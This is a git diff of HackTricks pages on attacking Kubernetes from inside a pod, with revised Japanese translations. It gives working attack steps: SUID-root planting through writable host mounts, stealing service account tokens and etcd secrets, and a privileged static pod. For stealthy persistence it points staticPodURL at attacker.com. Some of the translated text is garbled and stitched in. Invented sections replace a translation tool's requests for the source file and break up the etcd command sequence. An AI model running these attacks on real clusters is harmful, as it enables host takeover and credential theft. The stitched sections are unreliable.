https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html {{#endref}} -### 書き込み可能な hostPath/bind mounts の悪用 (container -> host root via SUID planting) +### Abusing writable hostPath/bind mounts (container -> host root via SUID planting) -侵害された pod/container がホストのファイルシステムに直接マップされる書き込み可能なボリューム (Kubernetes hostPath または Docker bind mount) を持ち、コンテナ内で root になれる場合、そのマウントを利用してホスト上に setuid-root バイナリを作成し、ホスト側で実行して root を取得できます。 +侵害された pod/container に、host filesystem に直接マッピングされた書き込み可能な volume（Kubernetes hostPath または Docker bind mount）があり、かつ container 内で root になれるなら、その mount を利用して host 上に setuid-root binary を作成し、host からそれを実行して root を取得できます。 -主な条件： -- マウントされたボリュームがコンテナ内部から書き込み可能であること (readOnly: false およびファイルシステムのパーミッションが書き込みを許可していること)。 -- マウントを支えるホストのファイルシステムが nosuid オプションでマウントされていないこと。 -- ホスト上で植えたバイナリを実行する方法があること（例：ホストへの別途の SSH/RCE、ホスト上のユーザが実行できる、またはそのパスからバイナリを実行する別のベクターなど）。 +主な条件: +- mount された volume が container 内から書き込み可能であること（readOnly: false かつ filesystem permissions で write が許可されている）。 +- mount のバックエンドである host filesystem が nosuid オプション付きで mount されていないこと。 +- host 上で planted した binary を実行する何らかの方法があること（例: host への別経路の SSH/RCE、host 上のユーザが実行できる、またはその path から binaries を実行する別の vector がある）。 -書き込み可能な hostPath/bind mounts を識別する方法： -- kubectl で hostPath ボリュームを確認する：kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}' -- コンテナ内から、mount を一覧し host-path マウントを探して書き込み可能かをテストする： +書き込み可能な hostPath/bind mounts の見つけ方: +- kubectl で hostPath volumes を確認する: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}' +- container 内から mounts を列挙し、host-path mounts を探して書き込み可能かテストする: ```bash # Inside the compromised container mount | column -t @@ -45,7 +45,7 @@ TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path # Quick practical test printf "ping\n" > "$TEST_DIR/.w" ``` -コンテナ内から setuid root binary を配置する: +コンテナから setuid root binary を配置する: ```bash # As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory @@ -54,7 +54,7 @@ chmod 6777 "$MOUNT/suidbash" ls -l "$MOUNT/suidbash" # -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash ``` -host上で実行して root を取得: +ホスト上で実行してrootを取得する: ```bash # On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration) # Example host path: /opt/limesurvey/suidbash @@ -62,11 +62,11 @@ ls -l /opt/limesurvey/suidbash /opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash ``` Notes and troubleshooting: -- ホストのマウントに nosuid が設定されている場合、setuid ビットは無視されます。ホスト上のマウントオプションを確認してください (cat /proc/mounts | grep ) — nosuid を探してください。 -- ホスト上で実行可能なパスを取得できない場合でも、同様に書き込み可能なマウントを悪用して、マップされたディレクトリがセキュリティ上重要であればホスト上に他の永続化/priv-esc アーティファクトを書き込むことができます（例: マウントが /root/.ssh にマップされていれば root SSH キーを追加、/etc にマップされていれば cron/systemd ユニットを配置、ホストが実行する PATH の root 所有バイナリを置き換える、等）。実行可能性はマウントされているパス次第です。 -- この手法は plain Docker bind マウントでも機能します。Kubernetes では通常 hostPath volume (readOnly: false) や誤ってスコープされた subPath になります。 +- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep ) and look for nosuid. +- If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted. +- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath. -### Kubernetes の権限を悪用する +### Abusing Kubernetes Privileges As explained in the section about **kubernetes enumeration**: @@ -74,19 +74,19 @@ As explained in the section about **kubernetes enumeration**: kubernetes-enumeration.md {{#endref}} -通常、pod は内部で **service account token** を使って実行されています。この service account には、他の pod に **move** したり、クラスタ内に構成されたノードへ **escape** したりするために **abuse** できるような **privileges attached to it** が付与されている場合があります。方法は以下を確認してください: +Usually the pods are run with a **service account token** inside of them. This service account may have some **privileges attached to it** that you could **abuse** to **move** to other pods or even to **escape** to the nodes configured inside the cluster. Check how in: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -### Cloud 権限の悪用 +### Abusing Cloud Privileges If the pod is run inside a **cloud environment** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it. ## Search vulnerable network services -Kubernetes 環境の内部にいるため、現在の pod の privileges を悪用して権限昇格できない、かつコンテナから escape できない場合は、潜在的に脆弱なサービスを検索するべきです。 +As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **search potential vulnerable services.** ### Services @@ -94,12 +94,11 @@ Kubernetes 環境の内部にいるため、現在の pod の privileges を悪 ``` kubectl get svc --all-namespaces ``` -デフォルトでは、Kubernetes はフラットなネットワークスキーマを使用します。つまり **cluster 内の任意の pod/service が他と通信できる** ということです。 -cluster 内の **namespaces** には **デフォルトでネットワークのセキュリティ制限がありません**。namespace 内の誰でも他の namespaces と通信できます。 +デフォルトでは、Kubernetes はフラットなネットワーキングスキーマを使用しており、これは **クラスター内の任意の pod/service が他のものと通信できる** ことを意味します。クラスター内の **namespaces** には、**デフォルトではネットワークセキュリティの制限がありません**。namespace 内の誰でも他の namespaces と通信できます。 -### スキャン +### Scanning -次の Bash スクリプト (taken from a [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) will install and scan the IP ranges of the kubernetes cluster: +以下の Bash スクリプト（[Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md) から取得）は、kubernetes クラスターの IP 範囲をインストールしてスキャンします: ```bash sudo apt-get update sudo apt-get install nmap @@ -118,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}" } nmap-kube-discover ``` -Check out the following page to learn how you could **Kubernetesの特定のサービスを攻撃する** to **他のpodや環境全体を侵害する**: +以下のページをチェックして、**Kubernetes特有のサービスを攻撃して** **他のpod/環境全体を侵害する** 方法を学んでください: {{#ref}} pentesting-kubernetes-services/ @@ -126,12 +125,12 @@ pentesting-kubernetes-services/ ### Sniffing -他のpodが認証する必要がある機密性の高いサービスを**compromised podが実行している場合**、他のpodから送信される認証情報を**sniffing local communications**で取得できる可能性があります。 +**侵害されたpodが何らかの機微なサービスを実行していて**、他のpodが認証する必要がある場合、**ローカル通信をsniffing** することで、他のpodから送られる認証情報を取得できる可能性があります。 ## Network Spoofing -デフォルトでは、**ARP spoofing**のような技術（およびそれに伴う**DNS Spoofing**）がkubernetesネットワークで動作します。次に、pod内で**NET_RAW capability**（デフォルトで付与されています）を持っていれば、カスタムに作成したネットワークパケットを送信し、**MitM attacks via ARP Spoofing to all the pods running in the same node.**\ -さらに、**malicious pod**が**same node as the DNS Server**で実行されている場合、クラスタ内のすべてのpodに対して**DNS Spoofing attack to all the pods in cluster**を実行できるようになります。 +デフォルトでは、**ARP spoofing**（それによって **DNS Spoofing** も） のような手法は kubernetes network で機能します。そのため、pod 内で **NET_RAW capability**（これはデフォルトで存在します）を持っていれば、カスタムに作成したネットワークパケットを送信し、**同じnode上で動作しているすべてのpodに対して ARP Spoofing を使った MitM attacks を実行**できます。\ +さらに、**malicious pod** が **DNS Server と同じnode** 上で動作している場合、**cluster内のすべてのpodに対して DNS Spoofing attack** を実行できます。 {{#ref}} kubernetes-network-attacks.md @@ -139,25 +138,25 @@ kubernetes-network-attacks.md ## Node DoS -Kubernetesマニフェストにリソースの指定がなく、コンテナに対して**not applied limit**レンジが適用されていない場合があります。攻撃者は、**consume all the resources where the pod/deployment running**ことで他のリソースを枯渇させ、環境全体にDoSを引き起こすことができます。 +Kubernetes manifests でリソースが指定されておらず、コンテナに **limit ranges が適用されていない** 場合があります。攻撃者としては、**pod/deployment が動作しているすべてのリソースを消費**して他のリソースを枯渇させ、環境に DoS を引き起こせます。 -This can be done with a tool such as [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): +これは [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng) のようなツールで実行できます: ``` stress-ng --vm 2 --vm-bytes 2G --timeout 30s ``` -実行中の `stress-ng` と実行後の違いがわかります +`stress-ng` を実行中と実行後の違いを見ることができます ```bash kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx ``` -## ノード Post-Exploitation +## Node Post-Exploitation -もし**escape from the container**に成功した場合、ノードで以下の興味深いものが見つかります： +**container** から**escape**できた場合、node では次のような興味深いものが見つかります: -- **Container Runtime** プロセス (Docker) -- ノード上でさらに稼働している **pods/containers**（このように悪用できるもの、より多くのトークン） -- ノード全体の **filesystem** と **OS** 全般 -- リッスンしている **Kube-Proxy** サービス -- リッスンしている **Kubelet** サービス。設定ファイルを確認： +- **Container Runtime** process (Docker) +- この node 上で動いている、さらに多くの **pods/containers**。このように abuse できるもの（さらに多くの tokens） +- 全体の **filesystem** と **OS** +- 待ち受け中の **Kube-Proxy** service +- 待ち受け中の **Kubelet** service。config files を確認してください: - Directory: `/var/lib/kubelet/` - `/var/lib/kubelet/kubeconfig` - `/var/lib/kubelet/kubelet.conf` @@ -172,9 +171,9 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx - `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration** - `/etc/kubernetes/pki` - **Kubernetes Key** -### ノードの kubeconfig を探す +### Find node kubeconfig -もし前述のパスのいずれにも kubeconfig ファイルが見つからない場合は、**check the argument `--kubeconfig` of the kubelet process**: +前述のパスのどこにも kubeconfig file が見つからない場合は、**kubelet process の `--kubeconfig` 引数を確認してください**: ``` ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal @@ -200,20 +199,20 @@ echo "" fi done ``` -このスクリプト [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) は自動的に **other pods の tokens を取得し、あなたが探している permission を持っているかを確認します**（あなたが1つずつ確認する代わりに）: +スクリプト [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) は、自動的に**他の pod の token を取得し、探している権限を持っているかを確認します**（1つずつ確認する代わりに）: ```bash ./can-they.sh -i "--list -n default" ./can-they.sh -i "list secrets -n kube-system"// Some code ``` -### 特権付き DaemonSets +### Privileged DaemonSets -DaemonSetは**pod**で、**all the nodes of the cluster**で**run**されます。したがって、DaemonSetが**privileged service account,**で構成されている場合、**ALL the nodes**でその**privileged service account**の**token**を見つけて悪用できます。 +DaemonSet は、クラスタ内の**すべての node**で**実行**される**pod**です。したがって、DaemonSet が**privileged service account**で設定されている場合、**すべての node**で、その**privileged service account**の**token**を見つけて悪用できます。 -The exploitは前のセクションと同じですが、もはや運に依存しません。 +exploit は前のセクションと同じですが、今回は運次第ではありません。 ### Pivot to Cloud -クラウドサービスで管理されているクラスターの場合、通常、**Node will have a different access to the metadata** endpoint は Pod と異なります。したがって、**access the metadata endpoint from the node**（または hostNetwork を True にしたpodから）を試してください： +クラスタが cloud service によって管理されている場合、通常、**Node** は Pod とは異なる **metadata** endpoint へのアクセス権を持ちます。したがって、**node から metadata endpoint にアクセス**してみてください（または hostNetwork を True にした pod から）: {{#ref}} kubernetes-pivoting-to-clouds.md @@ -221,54 +220,148 @@ kubernetes-pivoting-to-clouds.md ### Steal etcd -コンテナを実行する Node の[**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node)を指定できる場合、control-plane ノード内でシェルを取得し、**etcd database**を取得してください： +コンテナを実行する Node の [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) を指定できるなら、control-plane node 内で shell を取得し、**etcd database** を入手します: ``` kubectl get nodes NAME STATUS ROLES AGE VERSION k8s-control-plane Ready master 93d v1.19.1 k8s-worker Ready 93d v1.19.1 ``` -control-plane ノードは **role master** の役割を持ち、**cloud managed clusters you won't be able to run anything in them**。 +control-plane ノードは **role master** を持ち、**cloud managed clusters ではそれら上で何も実行できません**。 #### Read secrets from etcd 1 -pod spec の `nodeName` セレクタを使って pod を control-plane ノードで実行できる場合、クラスターの全設定（全てのシークレットを含む）を格納している `etcd` データベースに簡単にアクセスできる可能性があります。 +pod spec で `nodeName` セレクタを使って pod を control-plane ノード上で実行できるなら、`etcd` データベースに簡単にアクセスできる可能性があります。そこには、すべての secrets を含むクラスターの全設定が格納されています。 -以下は、あなたがいる control-plane ノード上で `etcd` が動作している場合にシークレットを取得するための簡易的な方法です。よりエレガントな解決策として、`etcd` クライアントユーティリティ `etcdctl` を含む pod を起動し、control-plane ノードの資格情報を使って `etcd` がどこで動作していても接続する方法を探しているなら、@mauilion の [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) を参照してください。 +以下は、`etcd` が現在いる control-plane ノードで動いている場合に、`etcd` から secrets を素早く雑に取得する方法です。`etcdctl` という `etcd` client utility を使って pod を起動し、control-plane ノードの credentials を使って、`etcd` がどこで動いていても接続する、より洗練された方法を知りたい場合は、@mauilion の [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) を確認してください。 -**control-plane ノードで `etcd` が動作しているか、データベースがどこにあるかを確認する（これは `kubeadm` で作成されたクラスター上の例です）** +**`etcd` が control-plane ノードで動いているかを確認し、database がどこにあるかを確認する（これは `kubeadm` で作成された cluster での話です）** ``` root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir ``` -対象ファイル（src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md）の内容を貼ってください。受け取ったら、Markdown/HTML構造をそのまま維持して英→日本語に翻訳して返します。 +# KubernetesのPod内からの攻撃 + +Kubernetesクラスターにアクセスできる場合、またはKubernetesクラスター内で特権付きPodを実行できる場合、Kubernetesに侵入できる可能性があります。 + +Pod内部で動作している場合、Pod内のローカル攻撃しかできないかもしれませんが、Kubernetesではこれで十分なことがあります。というのも、Pod内には通常、環境変数、マウントされた機密情報、その他の有用な情報があるからです。 + +たとえば、Kubernetesで何らかの脆弱性を見つけてそれを悪用し、Pod内でコード実行を取得できたとします。ここでは、より大きなKubernetes侵害を引き起こすためのいくつかの可能性を示します。 + +## Cluster Information + +Kubernetesの`/var/run/secrets/kubernetes.io/serviceaccount/token`内の`token`を使って、以下に接続できます。 + +- `https://kubernetes.default.svc` +- `https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT` + +`token`は、以下のような情報にアクセスするために使用できます。 + +```bash +curl --header "Authorization: Bearer $token" https://kubernetes.default.svc/api/v1 +``` + +## Enumeration + +Pod内にいる間、接続しているKubernetesクラスターについて、任意の情報を列挙できます。たとえば、`namespace`名を取得することができます。 + +```bash +cat /var/run/secrets/kubernetes.io/serviceaccount/namespace +``` + +`token`を取得するために、Kubernetes APIを使ってPod内のサービスアカウントを列挙できます。たとえば、[このNode.jsスクリプト](https://gist.github.com/JoelGMSec/63a7f7ae95a6bd753ec54f7e84d15fdb)を確認してください。 + +```javascript +var request = require('request'); +const fs = require('fs'); + +var file_path = '/var/run/secrets/kubernetes.io/serviceaccount/token'; +var namespace = fs.readFileSync("/var/run/secrets/kubernetes.io/serviceaccount/namespace", "utf8"); +var k8s_token = fs.readFileSync(file_path, 'utf8'); +var options = { + uri: `https://kubernetes.default.svc/api/v1/namespaces/${namespace}/pods`, + method: 'GET', + rejectUnauthorized: false, + headers: { + 'Authorization': `Bearer ${k8s_token}` + } +}; + +request(options, function(error, response, body) { + var names = []; + var pods = JSON.parse(body); + pods.items.forEach(function(pod) { + names.push(pod.spec.serviceAccountName); + }); + console.log(names); +}); +``` + +## Leaks + +Podに足場を確保すると、`leak`の機会を探すべきです。取得できる機密情報には以下のようなものがあります。 + +- マウントされたボリューム +- 環境変数 +- Kubernetesメタデータ +- AWSやGCPなどのクラウドサービスへの認証情報 + +## Access to the cluster + +Kubernetes APIと対話できるサービスアカウントをダンプできれば、それを使ってクラスターにアクセスできる可能性があります。 + +クラスターがクラウドプロバイダー上にある場合、ボリュームのどれかに接続された権限の昇格を見つけられることもあります。そうなれば、その権限を使ってKubernetesに直接アクセスできます。 + +Kubernetesでは、`kubelet`は`/var/lib/kubelet/config.json`や`/var/lib/kubelet/kubeconfig`などのファイルへのアクセスを持つことがあります。これらは、Kubernetes APIへのアクセスに使えます。 + +`kubelet`はNodeのサービスのブートストラップやPodの起動に使われます。 + +また、`serviceaccount`を盗める場合、`rbac-authorization`を含むKubernetesクラスターへのアクセスに役立つことがあります。 + +## Container breakout + +`container breakout`が可能なら、以下に接続してクラスター内部でのCode Executionを得られる場合があります。 + +- PodではなくNodeにrootとしてアクセスできる +- Podからホストの`root`ファイルシステムをマウントできる +- ホストの`docker`ソケットへのアクセスを得る + +これにより、クラスターの外へ出て、ホスト上でコマンドを実行できるようになるかもしれません。 ```bash data-dir=/var/lib/etcd ``` -**etcdデータベース内のデータを表示する:** +**etcd database のデータを表示する:** ```bash strings /var/lib/etcd/member/snap/db | less ``` -**データベースからtokensを抽出して、service accountの名前を表示する** +**データベースからtokensを抽出し、service account名を表示する** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done ``` -**同じコマンドですが、いくつかの grep を使って kube-system namespace の default token のみを返します** +**同じコマンドですが、kube-system namespace 内の default token だけを返すようにするためにいくつか grep を追加したものです** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default ``` -そのファイルの内容をここに貼ってください。翻訳を行います。 +# pod内からKubernetesを攻撃する + +Kubernetesは便利です。Kubernetesはクラウドのデプロイをはるかに簡単にし、インフラの保守を容易にし、スケーラブルなアプリケーションの管理をかなり簡単にします。 + +しかし、Kubernetesを悪用すると、悪用に成功した場合に強力なアクセス権を得られる可能性があります。 + +さらに、Kubernetes上で実行されているアプリケーションは、同じネットワーク内の他のKubernetes内サービスや、アクセス権がある場合にはクラスタ外のサービスとも相互作用できます。 + +この文書では、Kubernetesの仕組みを既に知っていることを前提にしますが、Kubernetesに精通していない場合は、[このリンク](../../kubernetes-security/kubernetes-from-the-reders-perspective.md)から始めるのがよいでしょう。 ``` 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] ``` -#### etcd から secrets を読み取る 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) +#### etcd 2 から secrets を読み取る [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) -1. **`etcd`** データベースのスナップショットを作成する。詳細は [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) を参照。 -2. **`etcd`** スナップショットを任意の方法でノード外へ転送する。 -3. データベースを展開する: +1. **`etcd`** データベースのスナップショットを作成します。詳細は [**このスクリプト**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) を確認してください。 +2. 好きな方法で **`etcd`** スナップショットをノード外へ転送します。 +3. データベースを展開します: ```bash mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore ``` -4. ローカルマシンで **`etcd`** を起動し、盗まれたスナップショットを使用させます: +4. ローカルマシンで **`etcd`** を起動し、盗んだ snapshot を使うようにします: ```bash etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db' @@ -277,31 +370,31 @@ etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./e ```bash etcdctl get "" --prefix --keys-only | grep secret ``` -6. secrets を取得する: +6. secfretsを取得する: ```bash etcdctl get /registry/secrets/default/my-secret ``` -### Static/Mirrored Pods の永続性 +### Static/Mirrored Pods Persistence -_Static Pods_ は、API server が監視しない特定のノード上で kubelet デーモンによって直接管理されます。コントロールプレーンによって管理される Pods（例えば Deployment）とは異なり、**kubelet watches each static Pod**（障害時には再起動します）。 +_Static Pods_ are managed directly by the kubelet daemon on a specific node, without the API server observing them. Unlike Pods that are managed by the control plane (for example, a Deployment); instead, the **kubelet watches each static Pod** (and restarts it if it fails). -したがって、static Pods は特定のノード上の 1 つの Kubelet に常に結び付けられます。 +Therefore, static Pods are always **bound to one Kubelet** on a specific node. -The **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** for each static Pod. これはノード上で動作している Pods が API server 上で可視化されることを意味しますが、そこから制御することはできません。Pod 名はノードのホスト名が先頭ハイフン付きでサフィックスとして付与されます。 +The **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** for each static Pod. This means that the Pods running on a node are visible on the API server, but cannot be controlled from there. The Pod names will be suffixed with the node hostname with a leading hyphen. > [!CAUTION] > The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason). -ノードホスト内にいる場合、ノード自体に **static pod inside itself** を作らせることができます。これは、**kube-system** のような別の namespace に **create a pod in a different namespace** できる可能性があるため非常に有用です。 +If you are inside the node host you can make it create a **static pod inside itself**. This is pretty useful because it might allow you to **create a pod in a different namespace** like **kube-system**. In order to create a static pod, the [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). You basically need 2 things: -- Configure the param **`--pod-manifest-path=/etc/kubernetes/manifests`** in the **kubelet service**, or in the **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) and restart the service -- Create the definition on the **pod definition** in **`/etc/kubernetes/manifests`** +- **kubelet service**、または **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) で param **`--pod-manifest-path=/etc/kubernetes/manifests`** を設定し、service を再起動する +- **`/etc/kubernetes/manifests`** に **pod definition** を作成する **Another more stealth way would be to:** -- Modify the param **`staticPodURL`** from **kubelet** config file and set something like `staticPodURL: http://attacker.com:8765/pod.yaml`. This will make the kubelet process create a **static pod** getting the **configuration from the indicated URL**. +- **kubelet** config file の param **`staticPodURL`** を変更し、`staticPodURL: http://attacker.com:8765/pod.yaml` のように設定する。これにより kubelet process は、**指定された URL から configuration を取得して** **static pod** を作成する。 **Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): ```yaml @@ -329,12 +422,12 @@ hostPath: path: / type: Directory ``` -### pods の削除 + unschedulable nodes +### Delete pods + unschedulable nodes -攻撃者が **ノードを侵害している** 状態で、他のノードから **pods を削除** したり、他のノードが pods を実行できないようにできれば、pods は侵害されたノード上で再実行され、そこで動作している **tokens を窃取** できます。\ -詳細は[**こちらのリンク**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes)を参照してください。 +攻撃者が**ノードを侵害**しており、他のノードから**podsを削除**でき、さらに他のノードで**podsを実行できないように**できる場合、podsは侵害されたノード上で再実行され、そこで実行されている**tokensを盗める**ようになります。\ +[**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). -## 自動ツール +## Automatic Tools - [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates) ``` @@ -398,7 +491,7 @@ Off-Menu + ``` - [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI) -## 参考文献 +## References - [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html) - [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-basics.md b/src/pentesting-cloud/kubernetes-security/kubernetes-basics.md index cda03cc1f..3f0a9de59 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-basics.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-basics.md @@ -2,73 +2,73 @@ {{#include ../../banners/hacktricks-training.md}} -**このページの元の著者は** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **です（彼の元の投稿を** [**こちら**](https://sickrov.github.io)**で読む）** +**The original author of this page is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(read his original post** [**here**](https://sickrov.github.io)**)** -## アーキテクチャと基本 +## Architecture & Basics -### Kubernetesは何をしますか？ +### What does Kubernetes do? -- コンテナエンジンでコンテナを実行することを許可します。 -- スケジュールはコンテナのミッションを効率的にします。 -- コンテナを生かしておきます。 -- コンテナ間の通信を許可します。 -- デプロイメント技術を許可します。 -- 情報のボリュームを処理します。 +- container/s を container engine 上で実行できるようにする。 +- schedule により container を効率的に配置できる。 +- container を生存状態に保つ。 +- container 間の通信を可能にする。 +- deployment techniques を可能にする。 +- information の volumes を扱う。 -### アーキテクチャ +### Architecture -![](https://sickrov.github.io/media/Screenshot-68.jpg) +![Kubernetes architecture diagram showing control plane components, API server, kubelet, kube-proxy, pods, and worker nodes](https://sickrov.github.io/media/Screenshot-68.jpg) -- **ノード**: ポッドまたはポッドを持つオペレーティングシステム。 -- **ポッド**: コンテナまたは複数のコンテナを包むラッパー。ポッドは通常、1つのアプリケーションのみを含むべきです（通常、ポッドは1つのコンテナを実行します）。ポッドはKubernetesが実行しているコンテナ技術を抽象化する方法です。 -- **サービス**: 各ポッドはノードの内部範囲から1つの内部**IPアドレス**を持っています。ただし、サービスを介して公開することもできます。**サービスにもIPアドレスがあり**、その目的はポッド間の通信を維持することです。したがって、1つが死んだ場合、**新しい置き換え**（異なる内部IPを持つ）が**サービスの同じIPでアクセス可能**になります。内部または外部として構成できます。サービスは、2つのポッドが同じサービスに接続されているときに**ロードバランサー**としても機能します。\ -**サービス**が**作成**されると、`kubectl get endpoints`を実行して各サービスのエンドポイントを見つけることができます。 -- **Kubelet**: プライマリノードエージェント。ノードとkubectl間の通信を確立するコンポーネントで、ポッドを実行することしかできません（APIサーバーを介して）。KubeletはKubernetesによって作成されていないコンテナを管理しません。 -- **Kube-proxy**: apiserverとノード間の通信（サービス）を担当するサービスです。ノードのためのIPtablesが基本です。経験豊富なユーザーは、他のベンダーからの他のkube-proxyをインストールすることができます。 -- **サイドカーコンテナ**: サイドカーコンテナは、ポッド内のメインコンテナと一緒に実行されるべきコンテナです。このサイドカーパターンは、現在のコンテナの機能を変更することなく拡張し、強化します。現在、私たちはアプリケーションがどこでも実行できるようにすべての依存関係をラップするためにコンテナ技術を使用していることを知っています。コンテナは1つのことだけを行い、そのことを非常にうまく行います。 -- **マスタープロセス:** -- **Api Server:** ユーザーとポッドがマスタープロセスと通信するための方法です。認証されたリクエストのみが許可されるべきです。 -- **スケジューラ**: スケジューリングは、ポッドがノードにマッチすることを確認することを指します。これによりKubeletがそれらを実行できます。どのノードにより多くのリソースが利用可能かを決定するための十分な知能を持っています。スケジューラは新しいポッドを開始するのではなく、ノード内で実行されているKubeletプロセスと通信し、新しいポッドを起動します。 -- **Kube Controller manager**: レプリカセットやデプロイメントなどのリソースをチェックして、例えば、正しい数のポッドやノードが実行されているかを確認します。ポッドが欠けている場合、新しいポッドを開始するためにスケジューラと通信します。APIへのレプリケーション、トークン、およびアカウントサービスを制御します。 -- **etcd**: データストレージ、永続的、一貫性があり、分散型です。Kubernetesのデータベースであり、クラスターの完全な状態を保持するキー-バリューストレージです（各変更はここに記録されます）。スケジューラやコントローラーマネージャーなどのコンポーネントは、どの変更が発生したかを知るためにこのデータに依存します（ノードの利用可能なリソース、実行中のポッドの数...）。 -- **Cloud controller manager**: フロー制御とアプリケーションのための特定のコントローラーです。つまり、AWSやOpenStackにクラスターがある場合です。 +- **Node**: pod または複数の pod を持つ operating system。 +- **Pod**: container 1つ、または複数の container を包む Wrapper。pod には 1つの application だけを含めるべき（そのため通常、pod は 1 container だけを実行する）。pod は kubernetes が実行中の container technology を抽象化するための方法。 +- **Service**: 各 pod は node の internal range から 1つの internal **IP address** を持つ。ただし、service 経由で公開することもできる。**service にも IP address** があり、その目的は pod 間の通信を維持することにある。そのため、1つが死んでも **新しい代替**（異なる internal IP を持つ） **は access 可能** なまま **service の同じ 